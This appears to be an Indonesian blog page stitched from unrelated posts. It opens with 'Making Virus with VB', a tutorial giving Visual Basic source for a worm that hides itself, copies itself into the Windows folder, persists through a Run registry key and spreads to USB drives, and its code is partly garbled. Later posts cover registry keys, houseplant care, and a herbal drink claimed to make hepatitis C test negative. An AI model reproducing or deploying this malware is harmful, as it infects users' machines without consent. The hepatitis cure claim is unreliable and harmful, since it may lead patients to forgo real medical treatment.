Making Virus with VB

1.hiding it self when running

Create a new project, and add a sub main (Project Add-Module)
Option explicit? Each variable must be declared
Sub main ()

App.TaskVisible = False does not appear in the taskbar
Form1.Visible = False does not display the form
End Sub

Make a sub main as your startup object program (Project-Project Properties-Startup Object, Sub Main)

Try Runing the program, is your program visible (the form and the taskbar)?

2.Enabling it self every System boot process.

Add a new sub with the name virusInstall

Sub VirusInstall()
Dim wShell As Object
Dim fSource As String
Dim fTarget As String
'take the path and name of the exe file
fSource = App.Path & "\" & App.EXEName & ".exe"
'duplicate to the windows folder
fTarget = Environ$("windir") & "\MyVirus.exe"
'Check if already been installed
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
Set wShell = CreateObject("WScript.Shell")
'run registry manipulation
wShell.regwrite "HKLM\Software\micr*soft\Windows\Run\MyVirus", fTarget
End If
End Sub

and enable the sub virusInstall from Sub Main

Sub Main()
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall ?install diri
End Sub

3.Through self-distribution of flash disk

?Add a global variable (in the general declaration section) to 1 on the flash disk only 1 time of infection (the virus that must be good, of course, in the efficient use of resources so that attendance can not be known quickly)

Dim infectedFlashDisk As Boolean ?flags have been infected or not

?Add the following sub for replication themselves to the virus
Public Sub replikasiDiri(targetDrive As String)
Dim fSource As String
Dim fTarget As String
'replication of the C: \ Windows (the location of the installation itself)
fSource = Environ$("windir") & "\MyVirus.exe"
'targets to the drive
fTarget = targetDrive + "\MyVirus.exe"
'do not replicate more than 1 times on the same media
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
End If
End Sub

? Add the following sub to monitor the existence of the flash
Public Sub sebarFlashDisk()
On Error GoTo BatalInfeksi
Dim AdaFlashDisk As Boolean
Dim ObjFSO As Object
Dim ObjDrive As Object

? create a file scripting object

Set ObjFSO = CreateObject("Scripting.FileSystemObject")
AdaFlashDisk = False
For Each ObjDrive In ObjFSO.Drives
'The assumption of all removable drive letters above C is a flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
AdaFlashDisk = True
'should not be repeated infection and the remaining capacity of> 100 kb
If Not infectedFlashDisk And ObjDrive.AvailableSpace > 102400 Then
Call replikasiDiri(ObjDrive.DriveLetter+? )
infectedFlashDisk = True?enable flag is infection
End If
End If
Next
If Not AdaFlashDisk Then?no flash disk
infectedFlashDisk = False ?reset flag has been infected
End If
CancelInfection:
End Sub

? Add timer control on the form1
Private Sub Timer1_Timer()
Call sebarFlashDisk ? enable the distribution flasdisk
End Sub
? Setting flag is set and the infection control timer through the main sub
Sub Main()
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall
'Set the global variable
infectedFlashDisk = False
'Set the time setting
Form1.Timer1.Interval = 5000
Form1.Timer1.Enabled = True
End Sub

4. Restrict themselves to only 1 times
Virus that must be efficient, of course, sparing resources and use of efficient algorithms, so that his presence is not felt by the user.

? Add findWindow function from WINAPI
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
? Add the function is active
Function active(Title As String) As Boolean
Dim vir_hwnd As Long

'If the virus is active window
'Search window with the same title

vir_hwnd = FindWindow(vbNullString, Title)
active = Not (vir_hwnd = 0)
End Function
? Modify sub Main
Sub Main()
Dim virusname As String
virusname = "MyVirus"
If Not active(nvirusname) Then? if not active yet
Form1.Visible = False
Call VirusInstall
'Set the global variable
infectedFlashDisk = False
'Set the time setting
Form1.Caption = virusname? Window title mark
Form1.Timer1.Interval = 5000
Form1.Timer1.Enabled = True
End If
End Sub

6. Change Icon MyVirus

7. Reduce the size of your executable virus
Results from compiling the program MyVirus size is 24,576 bytes, and of course, quite small for the size of VB virus, but would that be if the virus executable is smaller again, so the process of loading speed.
For the executable file can use software such as the Ultimate Packer for executable.
Upx Project.exe
And after the file size is 8704-bytes UPX.

8. Removing this virus
a. In the Run-Registry, go to HKLM \ Software \ micr * soft \ Windows \ Run and delete the value? MyVirus?
b. Delete the file C: \ Windows \ MyVirus.exe
Very Easy to enable the virus to stop that is made with VB, just rename msvb60 in the directory C: \ Windows \ winNT \ system32

enjoy it

Rahasia Registry Windows hal.1

* Mematikan AutoRun CDROM
Key :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CDRom
Jenis Value    : DWORD Value
Nama Value  : Autorun
Data Value    : 0 (nonaktif) / 1 (aktif)

 

Rahasia Registry windows xp

Sebelum kita mengutak atik Registry yang ada pada windows xp terlebih dahulu kita harus mengenal beberapa "key" yang ada pada registry.

HKEY_CLASSES_ROOT
Berisikan berbagai hal yang di butuhkan oleh program aplikasi supaya dapat berjalan. Di antaranya, adalah jenis file (ekstensi file), asosiasi file tersebut dengan yang lainnya, nama driver, ikon, informasi DDE dan OLE, nomor Class ID, serta string yang di gunakan sebagai pointer ke teks asli. Apa yg terdapat pada key ini juga terdapat pada key : HKEY_LOCAL_MACHINE\software\classes.

HKEY_CURRENT_USER
Berisikan berbagai informasi mengenai user yang sedang menggunakan komputer alias log in saja. Informasi yang di simpan di antaranya, folder user, warna screen, dan control panel. Boleh di bilang key ini yang menyimpan pengaturan individu dari setiap user. Key ini akan merujuk pada HKEY_USER untuk mendapatkan pemakai yang sedang aktif.

HKEY_LOCAL_MACHINE
 Berisikan berbagai simpanan setting supaya software, hardware, dan windows dapat bekerja. Masalah keamanan, user right, serta data sharing juga tersimpan pada key ini. Informasi konfigurasi tersebut berlaku untuk semua user.

HKEY_USER
Berisikan berbagai informasi setting yang sudah di atur oleh default user (berisi root seluruh user) juga user yang log in. termasuk menginformasikan ikon, start menu, warna, font, desktop, dan pengaturan control panel. HKEY_USER menyimpan mengenai informasi seluruh user, jadi berbeda dengan HKEY_CURRENT_USER yang khusus untuk user yang aktif saja.

HKEY_CURRENT_CONFIG
Berisikan berbagai konfigurasi hardware yang terdapat pada HKEY_LOCAL_MACHINE\config.


HKEY_DYN_DATA
Key ini sebenarnya hanya terdapat pada windows 9x saja dan tidak tersedia pada windows xp. Sebagai pengenalan saja, key ini tidak tersimpan di dalam harddisk. Melainkan, tersimpan dalam RAM yang di gunakan untuk mengontrol hardware. terutama untuk menangani plug n play.

***Setelah mengenal key pada registry, sekarang waktunya untuk mengenal value yang ada pada registry.

String Value (REG_SZ)
Merupakan jenis data fixed-length text string. Data dalam Value jenis ini akan menyimpan data dalam bentuk teks.

Binary Value (REG_BINARY)
Merupakan data jenis Binary. Berbagai informasi Hardware akan di simpan dalam bentuk data Binary dan di tampilkan dalam format Hexadecimal oleh Regedit.

DWORD Value
Jenis data ini dapat menyimpan jenis data berupa angka maupun dalam bentuk Integer atau Hexadecimal. Data di wakili dengan angka sebesar 4 bytes.

Multi-String Value (REG_MULTI_SZ)
Merupakan jenis data Multiple String. Data jenis ini berisikan beberapa data yang dapat di baca langsung. Value jenis ini hanya terdapat pada Windows XP, dan tidak ada pada windows 9x.

Expandable String Value (REG_EXPAND_SZ)
Merupakan jenis data Variable-length data string. Data jenis ini juga tidak terdapat pada windows 9x. Data jenis ini merupakan data string dengan variabel yang panjang yang terdiri dari variabel yang di perlukan  oleh program atau service.

Ok cukup teorinya sampai di sini saja berikutnya kita akan membahas berbagai rahasia, tehnik, dan efek manipulasi menggunakan  Registry Editor (Regedit) pada windows XP.

Hal 1

salah satu masalah pada tanaman aglaonema

1. Mengapa aglaonema mudah sobek dan warna kurang cerah?                                                                                                                        Warna daun aglaonema kurang cerah bisa terjadi karena kondisi media kurang basa. Untuk menaikkan pH tambahkan kapur pertanian / kapur dolomit 5% dari komposisi media. Daun aglaonema relatif mudah sobek. Untuk menghindarinya saat mengelap daun, sangga bagian bawah bawah daun memakai tangan. Selain itu taruh aglaonema pada posisi yang tak mudah bergesekan dengan benda lain.                                                                                                                                                     
2.  Mengapa tiba-tiba muncul bercak kekuningan?                                                                                                                       Penyakit bercak kuning berhubungan dengan gangguan pada sistem perakaran. Cabut tanaman dari pot, putus dan buang akar yang busuk.Rendam akar yang tersisa memakai larutan bakterisida dan fungisida selama sekitar 10 menit, lalu tanam kembali. Gunakan media dengan aerasi baik seperti campuran arang sekam dan pakis kasar. siram pangkal batang dan media tanam dengan fungisida sejenis sepekan sekali selama 2 minggu. Beri pula zat perangsang akar seperti vit b1 dan rapid root.

hepatitis c

Hepatitis C dan pneumonia dapat melemahkan imunitas. untuk pasien dengan hepatitis C dan pneumonia beristirahatlah yang cukup dan tidak terlalu lelah. untuk mempercepat pemulihan pasien hepatitis C dan pneumonia dapat menggunakan obat herbal yang dapat dengan mudah di temukan.
dan bahan yang dibutuhkan untuk membuat obat itu

- Rimpang temugiring (Curcuma heyneana) 5g
- Rimpang temulawak Curcuma (xanthorrhiza) 5g
- Biji Jintan hitam Nigella (sativa) 3g
- Buah adas (Foeniculum vulgare) 1g
- Kayu Secang (caesalpinia sappan) 5g
- Daun sembung (Blumea balsamifera) 1.5g

bagaimana membuat
Semua bahan di rebus dalam 2 gelas air sampai mendidih dan sisakan sebagian. ketika merebus hindari menggunakan wadah yang terbuat dari logam. gunakan kontainer atau pireks tanah liat. setelah hangat, tuangkan air yg tadi di masak dan meminumnya antara jam 19:00-20:00. lakukan pemeriksaan rutin setiap 3 bulan. setelah minum obat teratur selama 6-12 bulan, hepatitis c akan negatif.

Rimpang temugiring	Rimpang temulawak	Biji jintan hitam	buah adas
Kayu secang	Daun sembung

tukar ke bahasa inggris

merawat tanaman di musim hujan

tentu sebagian dari kita merasa bingung dan kesal ketika harus merawat tanaman di musim hujan karena tanaman sering sekali terkena jamur dan hama, terkadang setelah kita beri pestisida pada tanaman kita, obat itu akan hilang (luntur) begitu saja dari tanaman yang telah kita siram atau semprot ketika hujan turun.
saya akan memberikan masukan untuk masalah tersebut di atas, bahan yang perlu anda siapkan adalah :
1 . siap kan air 1 atau 2 liter
2. obat insektisida (saya memakai decis yang harganya standar) ( cair)
3. obat fungisida (saya menggunakan polyzeb yang lebih murah) ( serbuk)
4. obat perekat (saya memakai merek Prostiker) (cair)
5. gembor atau alat semprot

setelah semua siap lalu semua di campur kemudian di panaskan dan di sajikan untuk 3 orang ( hehehehe jadi inget waktu baca bumbu masak)

ok kembali ke awal, caranya memang tidak jauh berbeda dari memasak, hanya tinggal di campur berdasarkan takaran nya saja.
pertama kita masukkan air ke dalam alat semprot atau gembor, kemudian masukkan 1 ml insektisida (decis), lalu 1 gr fungisida (polyzeb), dan 0.5 ml perkat (prosticker).
setelah semua jadi satu di dalam alat semprot kemudian di kocok agar semua tercampur merata, setelah itu semprotkan secara merata ke tanaman tersebut hingga terkena semua batang dan daunnya.
di sarankan kan waktu penyemprotan yang efektif adalah pagi hari atau sore hari, tapi sore hari kayanya lebih bagus dah, jadi pagi harinya hanya dengan air biasa saja
jika sudah terkena jamur atau hama lakukan seminggu sekali dan untuk pencegahannya sebulan sekali

fungisida = dithane (tepung), antracol (tepung, score (cair), polyzeb (tepung)
insektisida = Decis, matador, dursban, dll ( rata- rata cair)
obat perekat = prosticker, Agristic

mudah-mudahan bermanfaat n berguna dah, o ya bahan-bahannya cari di tukang kembang atau toko pertanian jangan di restoran oke.

tukar ke bahasa inggris